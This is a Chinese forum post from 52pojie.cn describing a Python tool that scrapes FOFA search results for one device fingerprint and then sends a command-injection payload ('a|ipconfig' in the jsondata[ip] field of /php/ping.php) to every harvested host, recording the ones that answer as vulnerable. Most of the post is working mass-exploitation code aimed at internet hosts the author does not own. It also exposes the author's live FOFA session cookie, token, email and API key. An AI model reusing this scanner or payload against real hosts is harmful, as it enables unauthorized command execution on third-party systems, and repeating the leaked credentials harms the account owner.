吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 577|回复: 0
收起左侧

[学习记录] 基于fofa的批量cve漏洞验证爬虫程序开发

[复制链接]
wonderfulUU 发表于 2024-1-14 20:58
本帖最后由 wonderfulUU 于 2024-1-14 21:03 编辑

漏洞复现

FOFA查询语句:icon_hash="-1830859634"该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入,执行任意命令
document_image_rId4.png
document_image_rId5.png
fofa指纹搜索
document_image_rId6.png

正常我们是fofa搜指纹,然后一个一个抓包验证python批量爬取fofa搜索结果爬虫可以简单理解为模拟成浏览器,取访问爬取数据一般在请求头里面加上,User-agent,cookie等等,有时候爬取不到信息,可能就是模拟的力度不够大
document_image_rId7.png

import requestsurl='https://fofa.info/result?qbase64=aWNvbl9oYXNoPSItMTgzMDg1OTYzNCI%3D'
header={
    'Cookie':'ga=GA1.1.576012199.1699060653; __fcd=IDlpZX5ieCF7Uc1hehEWf4dU; fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MzUxMDc2LCJtaWQiOjEwMDIwMTI0NSwidXNlcm5hbWUiOiJ3b25kZXJmdWxVVVUiLCJleHAiOjE3MDUxMjQ3ODh9.FQocF4DcbG9lWG3kwEFXwxfkZUCxYdn2Mp1saUbir09qjaQhu1rQtXDAeDmVfpbVFsVoA2PJlwmSUu_QngeIVw; user=%7B%22id%22%3A351076%2C%22mid%22%3A100201245%2C%22is_admin%22%3Afalse%2C%22username%22%3A%22wonderfulUUU%22%2C%22nickname%22%3A%22wonderfulUUU%22%2C%22email%22%3A%221569676321%40qq.com%22%2C%22avatar_medium%22%3A%22https%3A%2F%2Fnosec.org%2Fmissing.jpg%22%2C%22avatar_thumb%22%3A%22https%3A%2F%2Fnosec.org%2Fmissing.jpg%22%2C%22key%22%3A%22a283f5e9560c2cadac2cb109d047699a%22%2C%22category%22%3A%22user%22%2C%22rank_avatar%22%3A%22%22%2C%22rank_level%22%3A0%2C%22rank_name%22%3A%22%E6%B3%A8%E5%86%8C%E7%94%A8%E6%88%B7%22%2C%22company_name%22%3A%22wonderfulUUU%22%2C%22coins%22%3A0%2C%22can_pay_coins%22%3A0%2C%22fofa_point%22%3A0%2C%22credits%22%3A1%2C%22expiration%22%3A%22-%22%2C%22login_at%22%3A0%2C%22data_limit%22%3A%7B%22web_query%22%3A300%2C%22web_data%22%3A3000%2C%22api_query%22%3A0%2C%22api_data%22%3A0%2C%22data%22%3A-1%7D%2C%22expiration_notice%22%3Afalse%2C%22remain_giveaway%22%3A0%2C%22fpoint_upgrade%22%3Afalse%7D; isRedirectLang=1; is_flag_login=0; befor_router=; is_mobile=pc; baseShowChange=false; viewOneHundredData=false; _ga_9GWBD260K9=GS1.1.1704931338.18.1.1704931584.0.0.0',
    'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}
resp=requests.get(url=url,headers=header)
page_text=resp.content.decode('utf-8')
print(page_text)页面爬出来之后,利用xpath把我们需要的ip地址给爬取下来
document_image_rId8.png

先看一下网页源代码,是在div=>span=>a=>href
document_image_rId9.png

爬取出ip地址后我们要存到文件中,而且要保证它的顺序,不能乱码
document_image_rId10.png

我们这里的xpath提取出来的其实是列表数据,需要用join方法转成字符串
document_image_rId11.png
document_image_rId12.png

接下来我们考虑的是批量从fofa获取资产,不局限于第一页,我们看第二页这里我们用一个for循环
document_image_rId14.png
document_image_rId15.png

还有一个就是写数据到txt中时,是一个增量数据,需要改一下写入模式为add
document_image_rId16.png

另外优化的地方,我们
如果要拓展其他的指纹来搜索,我们观察一下他搜索的参数
document_image_rId17.png 其实是一个base64的加密 document_image_rId18.png

我们把需要base加密的部分再分割一下,加密过后再拼接上去
document_image_rId19.png

批量验证程序
document_image_rId20.png

先写验证一个链接的程序
document_image_rId21.png

因为这是一个post请求,所以要设置一下data,我们要转成python能够读取的字典格式
document_image_rId23.png

很多时候是https的链接,我们需要设置一下参数,verify=False,忽略掉告警
document_image_rId24.png

我们来观察一下这个响应的特征
document_image_rId25.png

找一下出现漏洞的时候响应数据有哪些共同的特质 document_image_rId26.png
document_image_rId27.png

首先子网掩码这个255.255肯定是有的,也有一些其他的特征,解码之后可能更加准确 document_image_rId28.png

批量打开之前的地址文件
document_image_rId29.png

还有一个问题就是很多链接是有问题的,状态码是400,500还有响应超时等等问题这个时候就需要考虑到程序的健壮性,可以忽略掉报错,持续的运行import requests
with open('test.txt', 'r') as file:
    for line in file:
        url=line.strip()#去除每行空格
​
        #url ='https://119.188.246.32'
        payload='/php/ping.php'
        all_url=url+payload
        #print(all_url)
        data={
            'jsondata[ip]':'a|ipconfig',
            'jsondata[type]':'1'
        }
        try:
            resp=requests.post(url=all_url,data=data,verify=False,timeout=10)
            #resp=requests.post(url=all_url,data=data,verify=False)
            # 从响应中获取HTTP状态码
            r_code = resp.status_code
            requests.packages.urllib3.disable_warnings()
            page_text=resp.content.decode('utf-8')
            #print(page_text)
            if '255.255' in page_text:
                print(all_url,'有漏洞')
                all_data=all_url+'\n'
                with open('test_yanzh.txt','a') as fp:
                    fp.write(all_data)
            else:
                print(all_url,'无漏洞')
        # 处理超时异常
        except requests.exceptions.Timeout:
            print(f"{all_url} 请求超时")
        # 处理其他请求相关的异常
        except requests.exceptions.RequestException as e:
            print(f"{all_url} 请求发生异常: {e}")
​
​
​
​
document_image_rId22.png
document_image_rId31.png

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 18:47

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表